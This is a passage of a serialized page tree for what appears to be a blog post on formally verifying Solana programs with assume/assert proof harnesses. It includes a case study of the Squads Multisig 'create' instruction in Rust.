",{"type":24,"tag":32,"props":21999,"children":22001},{"className":22000},[3726,3727],[22002],{"type":24,"tag":83,"props":22003,"children":22005},{"className":22004},[3732],[22006],{"type":24,"tag":83,"props":22007,"children":22009},{"className":22008,"ariaHidden":1237},[3737],[22010,22047,22079],{"type":24,"tag":83,"props":22011,"children":22013},{"className":22012},[3742],[22014,22018,22023,22028,22033,22037,22043],{"type":24,"tag":83,"props":22015,"children":22017},{"className":22016,"style":3854},[3747],[],{"type":24,"tag":83,"props":22019,"children":22021},{"className":22020},[21457],[22022],{"type":29,"value":558},{"type":24,"tag":83,"props":22024,"children":22026},{"className":22025,"style":21329},[3753,21328],[22027],{"type":29,"value":21332},{"type":24,"tag":83,"props":22029,"children":22031},{"className":22030},[3753],[22032],{"type":29,"value":1166},{"type":24,"tag":83,"props":22034,"children":22036},{"className":22035,"style":3834},[3833],[],{"type":24,"tag":83,"props":22038,"children":22040},{"className":22039},[3839],[22041],{"type":29,"value":22042},"∧",{"type":24,"tag":83,"props":22044,"children":22046},{"className":22045,"style":3834},[3833],[],{"type":24,"tag":83,"props":22048,"children":22050},{"className":22049},[3742],[22051,22055,22060,22065,22069,22075],{"type":24,"tag":83,"props":22052,"children":22054},{"className":22053,"style":3854},[3747],[],{"type":24,"tag":83,"props":22056,"children":22058},{"className":22057,"style":21860},[3753,21328],[22059],{"type":29,"value":21863},{"type":24,"tag":83,"props":22061,"children":22063},{"className":22062},[21479],[22064],{"type":29,"value":2872},{"type":24,"tag":83,"props":22066,"children":22068},{"className":22067,"style":3931},[3833],[],{"type":24,"tag":83,"props":22070,"children":22072},{"className":22071},[3936],[22073],{"type":29,"value":22074},"→",{"type":24,"tag":83,"props":22076,"children":22078},{"className":22077,"style":3931},[3833],[],{"type":24,"tag":83,"props":22080,"children":22082},{"className":22081},[3742],[22083,22087,22092],{"type":24,"tag":83,"props":22084,"children":22086},{"className":22085,"style":21323},[3747],[],{"type":24,"tag":83,"props":22088,"children":22090},{"className":22089,"style":21329},[3753,21328],[22091],{"type":29,"value":21332},{"type":24,"tag":83,"props":22093,"children":22095},{"className":22094},[3753],[22096],{"type":29,"value":3756},{"type":24,"tag":25,"props":22098,"children":22099},{},[22100],{"type":29,"value":22101},"We can construct a proof harness like the following:",{"type":24,"tag":73,"props":22103,"children":22105},{"code":22104,"language":19200,"meta":7,"className":19201,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[22106],{"type":24,"tag":32,"props":22107,"children":22108},{"__ignoreMap":7},[22109,22117,22134],{"type":24,"tag":83,"props":22110,"children":22111},{"class":85,"line":86},[22112],{"type":24,"tag":83,"props":22113,"children":22114},{"style":107},[22115],{"type":29,"value":22116},"assume(P0)\n",{"type":24,"tag":83,"props":22118,"children":22119},{"class":85,"line":113},[22120,22125,22129],{"type":24,"tag":83,"props":22121,"children":22122},{"style":107},[22123],{"type":29,"value":22124},"res ",{"type":24,"tag":83,"props":22126,"children":22127},{"style":143},[22128],{"type":29,"value":1275},{"type":24,"tag":83,"props":22130,"children":22131},{"style":107},[22132],{"type":29,"value":22133}," instruction_handler(...)\n",{"type":24,"tag":83,"props":22135,"children":22136},{"class":85,"line":128},[22137,22141,22145,22150,22155,22159],{"type":24,"tag":83,"props":22138,"children":22139},{"style":117},[22140],{"type":29,"value":19724},{"type":24,"tag":83,"props":22142,"children":22143},{"style":107},[22144],{"type":29,"value":558},{"type":24,"tag":83,"props":22146,"children":22148},{"style":22147},"--shiki-default:#F44747",[22149],{"type":29,"value":20362},{"type":24,"tag":83,"props":22151,"children":22152},{"style":107},[22153],{"type":29,"value":22154},"K ",{"type":24,"tag":83,"props":22156,"children":22157},{"style":22147},[22158],{"type":29,"value":638},{"type":24,"tag":83,"props":22160,"children":22161},{"style":107},[22162],{"type":29,"value":22163}," P1)\n",{"type":24,"tag":25,"props":22165,"children":22166},{},[22167],{"type":29,"value":22168},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":24,"tag":1818,"props":22170,"children":22172},{"id":22171},"positive-instruction-invariant",[22173],{"type":29,"value":22174},"Positive instruction invariant",{"type":24,"tag":25,"props":22176,"children":22177},{},[22178,22180,22186,22188,22239],{"type":29,"value":22179},"Next we need to prove that ",{"type":24,"tag":32,"props":22181,"children":22183},{"className":22182},[],[22184],{"type":29,"value":22185},"success_if",{"type":29,"value":22187}," is a sufficient condition for instruction success. I.e. ",{"type":24,"tag":32,"props":22189,"children":22191},{"className":22190},[3726,3727],[22192],{"type":24,"tag":83,"props":22193,"children":22195},{"className":22194},[3732],[22196],{"type":24,"tag":83,"props":22197,"children":22199},{"className":22198,"ariaHidden":1237},[3737],[22200,22226],{"type":24,"tag":83,"props":22201,"children":22203},{"className":22202},[3742],[22204,22208,22213,22217,22222],{"type":24,"tag":83,"props":22205,"children":22207},{"className":22206,"style":21323},[3747],[],{"type":24,"tag":83,"props":22209,"children":22211},{"className":22210,"style":21787},[3753,21328],[22212],{"type":29,"value":21790},{"type":24,"tag":83,"props":22214,"children":22216},{"className":22215,"style":3931},[3833],[],{"type":24,"tag":83,"props":22218,"children":22220},{"className":22219},[3936],[22221],{"type":29,"value":22074},{"type":24,"tag":83,"props":22223,"children":22225},{"className":22224,"style":3931},[3833],[],{"type":24,"tag":83,"props":22227,"children":22229},{"className":22228},[3742],[22230,22234],{"type":24,"tag":83,"props":22231,"children":22233},{"className":22232,"style":21323},[3747],[],{"type":24,"tag":83,"props":22235,"children":22237},{"className":22236,"style":21860},[3753,21328],[22238],{"type":29,"value":21863},{"type":29,"value":161},{"type":24,"tag":25,"props":22241,"children":22242},{},[22243],{"type":29,"value":22244},"Just like before we can construct a proof harness:",{"type":24,"tag":73,"props":22246,"children":22248},{"code":22247,"language":19200,"meta":7,"className":19201,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[22249],{"type":24,"tag":32,"props":22250,"children":22251},{"__ignoreMap":7},[22252,22260,22275],{"type":24,"tag":83,"props":22253,"children":22254},{"class":85,"line":86},[22255],{"type":24,"tag":83,"props":22256,"children":22257},{"style":107},[22258],{"type":29,"value":22259},"assume(S)\n",{"type":24,"tag":83,"props":22261,"children":22262},{"class":85,"line":113},[22263,22267,22271],{"type":24,"tag":83,"props":22264,"children":22265},{"style":107},[22266],{"type":29,"value":22124},{"type":24,"tag":83,"props":22268,"children":22269},{"style":143},[22270],{"type":29,"value":1275},{"type":24,"tag":83,"props":22272,"children":22273},{"style":107},[22274],{"type":29,"value":22133},{"type":24,"tag":83,"props":22276,"children":22277},{"class":85,"line":128},[22278,22282],{"type":24,"tag":83,"props":22279,"children":22280},{"style":117},[22281],{"type":29,"value":19724},{"type":24,"tag":83,"props":22283,"children":22284},{"style":107},[22285],{"type":29,"value":22286},"(K)\n",{"type":24,"tag":25,"props":22288,"children":22289},{},[22290,22292,22297,22299,22311],{"type":29,"value":22291},"This proof assures that whenever ",{"type":24,"tag":32,"props":22293,"children":22295},{"className":22294},[],[22296],{"type":29,"value":19895},{"type":29,"value":22298}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":24,"tag":2655,"props":22300,"children":22301},{},[22302,22304,22309],{"type":29,"value":22303},"even if ",{"type":24,"tag":32,"props":22305,"children":22307},{"className":22306},[],[22308],{"type":29,"value":19895},{"type":29,"value":22310}," is not satisfied",{"type":29,"value":22312},". To specify explicit error conditions we need our third and final proof.",{"type":24,"tag":1818,"props":22314,"children":22316},{"id":22315},"_3-negative-instruction-invariant",[22317],{"type":29,"value":22318},"3. Negative instruction invariant",{"type":24,"tag":25,"props":22320,"children":22321},{},[22322,22324,22329,22331,22387],{"type":29,"value":22323},"Finally, we want to prove that ",{"type":24,"tag":32,"props":22325,"children":22327},{"className":22326},[],[22328],{"type":29,"value":19902},{"type":29,"value":22330}," is a sufficient condition for instruction failure. I.e. ",{"type":24,"tag":32,"props":22332,"children":22334},{"className":22333},[3726,3727],[22335],{"type":24,"tag":83,"props":22336,"children":22338},{"className":22337},[3732],[22339],{"type":24,"tag":83,"props":22340,"children":22342},{"className":22341,"ariaHidden":1237},[3737],[22343,22369],{"type":24,"tag":83,"props":22344,"children":22346},{"className":22345},[3742],[22347,22351,22356,22360,22365],{"type":24,"tag":83,"props":22348,"children":22350},{"className":22349,"style":21323},[3747],[],{"type":24,"tag":83,"props":22352,"children":22354},{"className":22353,"style":21787},[3753,21328],[22355],{"type":29,"value":21825},{"type":24,"tag":83,"props":22357,"children":22359},{"className":22358,"style":3931},[3833],[],{"type":24,"tag":83,"props":22361,"children":22363},{"className":22362},[3936],[22364],{"type":29,"value":22074},{"type":24,"tag":83,"props":22366,"children":22368},{"className":22367,"style":3931},[3833],[],{"type":24,"tag":83,"props":22370,"children":22372},{"className":22371},[3742],[22373,22377,22382],{"type":24,"tag":83,"props":22374,"children":22376},{"className":22375,"style":21323},[3747],[],{"type":24,"tag":83,"props":22378,"children":22380},{"className":22379},[3753],[22381],{"type":29,"value":21921},{"type":24,"tag":83,"props":22383,"children":22385},{"className":22384,"style":21860},[3753,21328],[22386],{"type":29,"value":21863},{"type":29,"value":161},{"type":24,"tag":25,"props":22389,"children":22390},{},[22391],{"type":29,"value":22392},"This harness looks just like the previous one:",{"type":24,"tag":73,"props":22394,"children":22396},{"code":22395,"language":19200,"meta":7,"className":19201,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[22397],{"type":24,"tag":32,"props":22398,"children":22399},{"__ignoreMap":7},[22400,22408,22423],{"type":24,"tag":83,"props":22401,"children":22402},{"class":85,"line":86},[22403],{"type":24,"tag":83,"props":22404,"children":22405},{"style":107},[22406],{"type":29,"value":22407},"assume(E)\n",{"type":24,"tag":83,"props":22409,"children":22410},{"class":85,"line":113},[22411,22415,22419],{"type":24,"tag":83,"props":22412,"children":22413},{"style":107},[22414],{"type":29,"value":22124},{"type":24,"tag":83,"props":22416,"children":22417},{"style":143},[22418],{"type":29,"value":1275},{"type":24,"tag":83,"props":22420,"children":22421},{"style":107},[22422],{"type":29,"value":22133},{"type":24,"tag":83,"props":22424,"children":22425},{"class":85,"line":128},[22426,22430,22434,22438],{"type":24,"tag":83,"props":22427,"children":22428},{"style":117},[22429],{"type":29,"value":19724},{"type":24,"tag":83,"props":22431,"children":22432},{"style":107},[22433],{"type":29,"value":558},{"type":24,"tag":83,"props":22435,"children":22436},{"style":22147},[22437],{"type":29,"value":20362},{"type":24,"tag":83,"props":22439,"children":22440},{"style":107},[22441],{"type":29,"value":22442},"K)\n",{"type":24,"tag":25,"props":22444,"children":22445},{},[22446,22448,22452],{"type":29,"value":22447},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":24,"tag":2655,"props":22449,"children":22450},{},[22451],{"type":29,"value":16107},{"type":29,"value":22453}," the account invariants we expect are always being preserved.",{"type":24,"tag":51,"props":22455,"children":22457},{"id":22456},"case-study-squads-multisig",[22458],{"type":29,"value":22459},"Case study: Squads Multisig",{"type":24,"tag":25,"props":22461,"children":22462},{},[22463,22465,22470],{"type":29,"value":22464},"During our research, we focused on formally verifying aspects of the ",{"type":24,"tag":2033,"props":22466,"children":22468},{"href":18562,"rel":22467},[2037],[22469],{"type":29,"value":18566},{"type":29,"value":161},{"type":24,"tag":25,"props":22472,"children":22473},{},[22474,22476,22482,22484,22490],{"type":29,"value":22475},"The program defines a Multisig account (",{"type":24,"tag":32,"props":22477,"children":22479},{"className":22478},[],[22480],{"type":29,"value":22481},"Ms",{"type":29,"value":22483},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":24,"tag":32,"props":22485,"children":22487},{"className":22486},[],[22488],{"type":29,"value":22489},"threshold",{"type":29,"value":22491}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":24,"tag":25,"props":22493,"children":22494},{},[22495],{"type":29,"value":22496},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":24,"tag":25,"props":22498,"children":22499},{},[22500],{"type":29,"value":22501},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":24,"tag":63,"props":22503,"children":22504},{},[22505,22510,22515,22520],{"type":24,"tag":67,"props":22506,"children":22507},{},[22508],{"type":29,"value":22509},"Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":67,"props":22511,"children":22512},{},[22513],{"type":29,"value":22514},"Verify threshold requirements",{"type":24,"tag":67,"props":22516,"children":22517},{},[22518],{"type":29,"value":22519},"Verify requirements to remove a member",{"type":24,"tag":67,"props":22521,"children":22522},{},[22523],{"type":29,"value":22524},"Safety guarantees",{"type":24,"tag":1818,"props":22526,"children":22528},{"id":22527},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[22529],{"type":29,"value":22530},"1. Incrementally verifying minimum requirements to create a multisig",{"type":24,"tag":25,"props":22532,"children":22533},{},[22534,22536,22541],{"type":29,"value":22535},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":24,"tag":32,"props":22537,"children":22539},{"className":22538},[],[22540],{"type":29,"value":19895},{"type":29,"value":22542}," expression.",{"type":24,"tag":25,"props":22544,"children":22545},{},[22546,22548,22553,22555,22561],{"type":29,"value":22547},"Creating a multisig (",{"type":24,"tag":32,"props":22549,"children":22551},{"className":22550},[],[22552],{"type":29,"value":22481},{"type":29,"value":22554},") requires invoking the ",{"type":24,"tag":32,"props":22556,"children":22558},{"className":22557},[],[22559],{"type":29,"value":22560},"create",{"type":29,"value":22562}," instruction:",{"type":24,"tag":73,"props":22564,"children":22566},{"code":22565,"language":2724,"meta":7,"className":2725,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n    #[account(\n        init,\n        payer = creator,\n        space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n        seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n    )]\n    pub multisig: Account\u003C'info, Ms>,\n\n    #[account(mut)]\n    pub creator: Signer\u003C'info>,\n    pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n    ctx: Context\u003CCreate>,\n    threshold: u16,\n    create_key: Pubkey,\n    members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n    // sort the members and remove duplicates\n    let mut members = members;\n    members.sort();\n    members.dedup();\n\n    // check we don't exceed u16\n    let total_members = members.len();\n    if total_members \u003C 1 {\n        return err!(MsError::EmptyMembers);\n    }\n\n    // make sure we don't exceed u16 on first call\n    if total_members > usize::from(u16::MAX) {\n        return err!(MsError::MaxMembersReached);\n    }\n\n    // make sure threshold is valid\n    if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n        return err!(MsError::InvalidThreshold);\n    }\n\n    ctx.accounts.multisig.init(\n        threshold,\n        create_key,\n        members,\n        *ctx.bumps.get(\"multisig\").unwrap(),\n    )\n}\n",[22567],{"type":24,"tag":32,"props":22568,"children":22569},{"__ignoreMap":7},[22570,22587,22642,22672,22680,22688,22705,22756,22805,22813,22854,22861,22877,22910,22952,22959,22966,22985,23013,23033,23053,23081,23100,23108,23136,23156,23176,23183,23191,23223,23246,23281,23289,23297,23306,23348,23381,23389,23397,23406,23482,23515,23523,23531,23568,23581,23594,23607,23661,23670],{"type":24,"tag":83,"props":22571,"children":22572},{"class":85,"line":86},[22573,22578,22583],{"type":24,"tag":83,"props":22574,"children":22575},{"style":107},[22576],{"type":29,"value":22577},"#[derive(",{"type":24,"tag":83,"props":22579,"children":22580},{"style":3163},[22581],{"type":29,"value":22582},"Accounts",{"type":24,"tag":83,"props":22584,"children":22585},{"style":107},[22586],{"type":29,"value":19999},{"type":24,"tag":83,"props":22588,"children":22589},{"class":85,"line":113},[22590,22595,22599,22603,22608,22612,22616,22621,22625,22629,22633,22637],{"type":24,"tag":83,"props":22591,"children":22592},{"style":107},[22593],{"type":29,"value":22594},"#[instruction(threshold",{"type":24,"tag":83,"props":22596,"children":22597},{"style":143},[22598],{"type":29,"value":195},{"type":24,"tag":83,"props":22600,"children":22601},{"style":3163},[22602],{"type":29,"value":20770},{"type":24,"tag":83,"props":22604,"children":22605},{"style":107},[22606],{"type":29,"value":22607},", create_key",{"type":24,"tag":83,"props":22609,"children":22610},{"style":143},[22611],{"type":29,"value":195},{"type":24,"tag":83,"props":22613,"children":22614},{"style":3163},[22615],{"type":29,"value":20597},{"type":24,"tag":83,"props":22617,"children":22618},{"style":107},[22619],{"type":29,"value":22620},", members",{"type":24,"tag":83,"props":22622,"children":22623},{"style":143},[22624],{"type":29,"value":195},{"type":24,"tag":83,"props":22626,"children":22627},{"style":3163},[22628],{"type":29,"value":21129},{"type":24,"tag":83,"props":22630,"children":22631},{"style":107},[22632],{"type":29,"value":5552},{"type":24,"tag":83,"props":22634,"children":22635},{"style":3163},[22636],{"type":29,"value":21138},{"type":24,"tag":83,"props":22638,"children":22639},{"style":107},[22640],{"type":29,"value":22641},">)]\n",{"type":24,"tag":83,"props":22643,"children":22644},{"class":85,"line":128},[22645,22649,22653,22658,22663,22668],{"type":24,"tag":83,"props":22646,"children":22647},{"style":90},[22648],{"type":29,"value":13435},{"type":24,"tag":83,"props":22650,"children":22651},{"style":90},[22652],{"type":29,"value":20891},{"type":24,"tag":83,"props":22654,"children":22655},{"style":3163},[22656],{"type":29,"value":22657}," Create",{"type":24,"tag":83,"props":22659,"children":22660},{"style":107},[22661],{"type":29,"value":22662},"\u003C'",{"type":24,"tag":83,"props":22664,"children":22665},{"style":3163},[22666],{"type":29,"value":22667},"info",{"type":24,"tag":83,"props":22669,"children":22670},{"style":107},[22671],{"type":29,"value":7028},{"type":24,"tag":83,"props":22673,"children":22674},{"class":85,"line":183},[22675],{"type":24,"tag":83,"props":22676,"children":22677},{"style":107},[22678],{"type":29,"value":22679},"    #[account(\n",{"type":24,"tag":83,"props":22681,"children":22682},{"class":85,"line":203},[22683],{"type":24,"tag":83,"props":22684,"children":22685},{"style":107},[22686],{"type":29,"value":22687},"        init,\n",{"type":24,"tag":83,"props":22689,"children":22690},{"class":85,"line":212},[22691,22696,22700],{"type":24,"tag":83,"props":22692,"children":22693},{"style":107},[22694],{"type":29,"value":22695},"        payer ",{"type":24,"tag":83,"props":22697,"children":22698},{"style":143},[22699],{"type":29,"value":1275},{"type":24,"tag":83,"props":22701,"children":22702},{"style":107},[22703],{"type":29,"value":22704}," creator,\n",{"type":24,"tag":83,"props":22706,"children":22707},{"class":85,"line":256},[22708,22713,22717,22721,22725,22730,22734,22739,22743,22747,22751],{"type":24,"tag":83,"props":22709,"children":22710},{"style":107},[22711],{"type":29,"value":22712},"        space ",{"type":24,"tag":83,"props":22714,"children":22715},{"style":143},[22716],{"type":29,"value":1275},{"type":24,"tag":83,"props":22718,"children":22719},{"style":3163},[22720],{"type":29,"value":20896},{"type":24,"tag":83,"props":22722,"children":22723},{"style":143},[22724],{"type":29,"value":3226},{"type":24,"tag":83,"props":22726,"children":22727},{"style":3163},[22728],{"type":29,"value":22729},"SIZE_WITHOUT_MEMBERS",{"type":24,"tag":83,"props":22731,"children":22732},{"style":143},[22733],{"type":29,"value":8649},{"type":24,"tag":83,"props":22735,"children":22736},{"style":107},[22737],{"type":29,"value":22738}," (members",{"type":24,"tag":83,"props":22740,"children":22741},{"style":143},[22742],{"type":29,"value":161},{"type":24,"tag":83,"props":22744,"children":22745},{"style":107},[22746],{"type":29,"value":20761},{"type":24,"tag":83,"props":22748,"children":22749},{"style":143},[22750],{"type":29,"value":4315},{"type":24,"tag":83,"props":22752,"children":22753},{"style":107},[22754],{"type":29,"value":22755}," 32),\n",{"type":24,"tag":83,"props":22757,"children":22758},{"class":85,"line":270},[22759,22764,22768,22773,22778,22782,22786,22791,22796,22800],{"type":24,"tag":83,"props":22760,"children":22761},{"style":107},[22762],{"type":29,"value":22763},"        seeds ",{"type":24,"tag":83,"props":22765,"children":22766},{"style":143},[22767],{"type":29,"value":1275},{"type":24,"tag":83,"props":22769,"children":22770},{"style":107},[22771],{"type":29,"value":22772}," [",{"type":24,"tag":83,"props":22774,"children":22775},{"style":187},[22776],{"type":29,"value":22777},"b\"squad\"",{"type":24,"tag":83,"props":22779,"children":22780},{"style":107},[22781],{"type":29,"value":22607},{"type":24,"tag":83,"props":22783,"children":22784},{"style":143},[22785],{"type":29,"value":161},{"type":24,"tag":83,"props":22787,"children":22788},{"style":107},[22789],{"type":29,"value":22790},"as_ref(), ",{"type":24,"tag":83,"props":22792,"children":22793},{"style":187},[22794],{"type":29,"value":22795},"b\"multisig\"",{"type":24,"tag":83,"props":22797,"children":22798},{"style":107},[22799],{"type":29,"value":1232},{"type":24,"tag":83,"props":22801,"children":22802},{"style":137},[22803],{"type":29,"value":22804},"bump\n",{"type":24,"tag":83,"props":22806,"children":22807},{"class":85,"line":302},[22808],{"type":24,"tag":83,"props":22809,"children":22810},{"style":107},[22811],{"type":29,"value":22812},"    )]\n",{"type":24,"tag":83,"props":22814,"children":22815},{"class":85,"line":324},[22816,22820,22825,22829,22834,22838,22842,22846,22850],{"type":24,"tag":83,"props":22817,"children":22818},{"style":90},[22819],{"type":29,"value":20583},{"type":24,"tag":83,"props":22821,"children":22822},{"style":137},[22823],{"type":29,"value":22824}," multisig",{"type":24,"tag":83,"props":22826,"children":22827},{"style":143},[22828],{"type":29,"value":195},{"type":24,"tag":83,"props":22830,"children":22831},{"style":3163},[22832],{"type":29,"value":22833}," Account",{"type":24,"tag":83,"props":22835,"children":22836},{"style":107},[22837],{"type":29,"value":22662},{"type":24,"tag":83,"props":22839,"children":22840},{"style":3163},[22841],{"type":29,"value":22667},{"type":24,"tag":83,"props":22843,"children":22844},{"style":107},[22845],{"type":29,"value":568},{"type":24,"tag":83,"props":22847,"children":22848},{"style":3163},[22849],{"type":29,"value":22481},{"type":24,"tag":83,"props":22851,"children":22852},{"style":107},[22853],{"type":29,"value":5884},{"type":24,"tag":83,"props":22855,"children":22856},{"class":85,"line":345},[22857],{"type":24,"tag":83,"props":22858,"children":22859},{"emptyLinePlaceholder":16},[22860],{"type":29,"value":3422},{"type":24,"tag":83,"props":22862,"children":22863},{"class":85,"line":358},[22864,22869,22873],{"type":24,"tag":83,"props":22865,"children":22866},{"style":107},[22867],{"type":29,"value":22868},"    #[account(",{"type":24,"tag":83,"props":22870,"children":22871},{"style":90},[22872],{"type":29,"value":3468},{"type":24,"tag":83,"props":22874,"children":22875},{"style":107},[22876],{"type":29,"value":19999},{"type":24,"tag":83,"props":22878,"children":22879},{"class":85,"line":367},[22880,22884,22889,22893,22898,22902,22906],{"type":24,"tag":83,"props":22881,"children":22882},{"style":90},[22883],{"type":29,"value":20583},{"type":24,"tag":83,"props":22885,"children":22886},{"style":137},[22887],{"type":29,"value":22888}," creator",{"type":24,"tag":83,"props":22890,"children":22891},{"style":143},[22892],{"type":29,"value":195},{"type":24,"tag":83,"props":22894,"children":22895},{"style":3163},[22896],{"type":29,"value":22897}," Signer",{"type":24,"tag":83,"props":22899,"children":22900},{"style":107},[22901],{"type":29,"value":22662},{"type":24,"tag":83,"props":22903,"children":22904},{"style":3163},[22905],{"type":29,"value":22667},{"type":24,"tag":83,"props":22907,"children":22908},{"style":107},[22909],{"type":29,"value":5884},{"type":24,"tag":83,"props":22911,"children":22912},{"class":85,"line":406},[22913,22917,22922,22926,22931,22935,22939,22943,22948],{"type":24,"tag":83,"props":22914,"children":22915},{"style":90},[22916],{"type":29,"value":20583},{"type":24,"tag":83,"props":22918,"children":22919},{"style":137},[22920],{"type":29,"value":22921}," system_program",{"type":24,"tag":83,"props":22923,"children":22924},{"style":143},[22925],{"type":29,"value":195},{"type":24,"tag":83,"props":22927,"children":22928},{"style":3163},[22929],{"type":29,"value":22930}," Program",{"type":24,"tag":83,"props":22932,"children":22933},{"style":107},[22934],{"type":29,"value":22662},{"type":24,"tag":83,"props":22936,"children":22937},{"style":3163},[22938],{"type":29,"value":22667},{"type":24,"tag":83,"props":22940,"children":22941},{"style":107},[22942],{"type":29,"value":568},{"type":24,"tag":83,"props":22944,"children":22945},{"style":3163},[22946],{"type":29,"value":22947},"System",{"type":24,"tag":83,"props":22949,"children":22950},{"style":107},[22951],{"type":29,"value":5884},{"type":24,"tag":83,"props":22953,"children":22954},{"class":85,"line":427},[22955],{"type":24,"tag":83,"props":22956,"children":22957},{"style":107},[22958],{"type":29,"value":464},{"type":24,"tag":83,"props":22960,"children":22961},{"class":85,"line":440},[22962],{"type":24,"tag":83,"props":22963,"children":22964},{"emptyLinePlaceholder":16},[22965],{"type":29,"value":3422},{"type":24,"tag":83,"props":22967,"children":22968},{"class":85,"line":449},[22969,22973,22977,22981],{"type":24,"tag":83,"props":22970,"children":22971},{"style":90},[22972],{"type":29,"value":13435},{"type":24,"tag":83,"props":22974,"children":22975},{"style":90},[22976],{"type":29,"value":13440},{"type":24,"tag":83,"props":22978,"children":22979},{"style":101},[22980],{"type":29,"value":6859},{"type":24,"tag":83,"props":22982,"children":22983},{"style":107},[22984],{"type":29,"value":3208},{"type":24,"tag":83,"props":22986,"children":22987},{"class":85,"line":458},[22988,22992,22996,23000,23004,23009],{"type":24,"tag":83,"props":22989,"children":22990},{"style":137},[22991],{"type":29,"value":19964},{"type":24,"tag":83,"props":22993,"children":22994},{"style":143},[22995],{"type":29,"value":195},{"type":24,"tag":83,"props":22997,"children":22998},{"style":3163},[22999],{"type":29,"value":20030},{"type":24,"tag":83,"props":23001,"children":23002},{"style":107},[23003],{"type":29,"value":5552},{"type":24,"tag":83,"props":23005,"children":23006},{"style":3163},[23007],{"type":29,"value":23008},"Create",{"type":24,"tag":83,"props":23010,"children":23011},{"style":107},[23012],{"type":29,"value":5884},{"type":24,"tag":83,"props":23014,"children":23015},{"class":85,"line":1065},[23016,23021,23025,23029],{"type":24,"tag":83,"props":23017,"children":23018},{"style":137},[23019],{"type":29,"value":23020},"    threshold",{"type":24,"tag":83,"props":23022,"children":23023},{"style":143},[23024],{"type":29,"value":195},{"type":24,"tag":83,"props":23026,"children":23027},{"style":3163},[23028],{"type":29,"value":20770},{"type":24,"tag":83,"props":23030,"children":23031},{"style":107},[23032],{"type":29,"value":989},{"type":24,"tag":83,"props":23034,"children":23035},{"class":85,"line":1668},[23036,23041,23045,23049],{"type":24,"tag":83,"props":23037,"children":23038},{"style":137},[23039],{"type":29,"value":23040},"    create_key",{"type":24,"tag":83,"props":23042,"children":23043},{"style":143},[23044],{"type":29,"value":195},{"type":24,"tag":83,"props":23046,"children":23047},{"style":3163},[23048],{"type":29,"value":20597},{"type":24,"tag":83,"props":23050,"children":23051},{"style":107},[23052],{"type":29,"value":989},{"type":24,"tag":83,"props":23054,"children":23055},{"class":85,"line":1713},[23056,23061,23065,23069,23073,23077],{"type":24,"tag":83,"props":23057,"children":23058},{"style":137},[23059],{"type":29,"value":23060},"    members",{"type":24,"tag":83,"props":23062,"children":23063},{"style":143},[23064],{"type":29,"value":195},{"type":24,"tag":83,"props":23066,"children":23067},{"style":3163},[23068],{"type":29,"value":21129},{"type":24,"tag":83,"props":23070,"children":23071},{"style":107},[23072],{"type":29,"value":5552},{"type":24,"tag":83,"props":23074,"children":23075},{"style":3163},[23076],{"type":29,"value":21138},{"type":24,"tag":83,"props":23078,"children":23079},{"style":107},[23080],{"type":29,"value":5884},{"type":24,"tag":83,"props":23082,"children":23083},{"class":85,"line":1730},[23084,23088,23092,23096],{"type":24,"tag":83,"props":23085,"children":23086},{"style":107},[23087],{"type":29,"value":633},{"type":24,"tag":83,"props":23089,"children":23090},{"style":143},[23091],{"type":29,"value":13502},{"type":24,"tag":83,"props":23093,"children":23094},{"style":3163},[23095],{"type":29,"value":13507},{"type":24,"tag":83,"props":23097,"children":23098},{"style":107},[23099],{"type":29,"value":20072},{"type":24,"tag":83,"props":23101,"children":23102},{"class":85,"line":1770},[23103],{"type":24,"tag":83,"props":23104,"children":23105},{"style":2735},[23106],{"type":29,"value":23107},"    // sort the members and remove duplicates\n",{"type":24,"tag":83,"props":23109,"children":23110},{"class":85,"line":1778},[23111,23115,23119,23124,23128,23132],{"type":24,"tag":83,"props":23112,"children":23113},{"style":90},[23114],{"type":29,"value":2746},{"type":24,"tag":83,"props":23116,"children":23117},{"style":90},[23118],{"type":29,"value":2751},{"type":24,"tag":83,"props":23120,"children":23121},{"style":137},[23122],{"type":29,"value":23123}," members",{"type":24,"tag":83,"props":23125,"children":23126},{"style":143},[23127],{"type":29,"value":146},{"type":24,"tag":83,"props":23129,"children":23130},{"style":137},[23131],{"type":29,"value":23123},{"type":24,"tag":83,"props":23133,"children":23134},{"style":107},[23135],{"type":29,"value":321},{"type":24,"tag":83,"props":23137,"children":23138},{"class":85,"line":1803},[23139,23143,23147,23152],{"type":24,"tag":83,"props":23140,"children":23141},{"style":137},[23142],{"type":29,"value":23060},{"type":24,"tag":83,"props":23144,"children":23145},{"style":143},[23146],{"type":29,"value":161},{"type":24,"tag":83,"props":23148,"children":23149},{"style":101},[23150],{"type":29,"value":23151},"sort",{"type":24,"tag":83,"props":23153,"children":23154},{"style":107},[23155],{"type":29,"value":267},{"type":24,"tag":83,"props":23157,"children":23158},{"class":85,"line":1811},[23159,23163,23167,23172],{"type":24,"tag":83,"props":23160,"children":23161},{"style":137},[23162],{"type":29,"value":23060},{"type":24,"tag":83,"props":23164,"children":23165},{"style":143},[23166],{"type":29,"value":161},{"type":24,"tag":83,"props":23168,"children":23169},{"style":101},[23170],{"type":29,"value":23171},"dedup",{"type":24,"tag":83,"props":23173,"children":23174},{"style":107},[23175],{"type":29,"value":267},{"type":24,"tag":83,"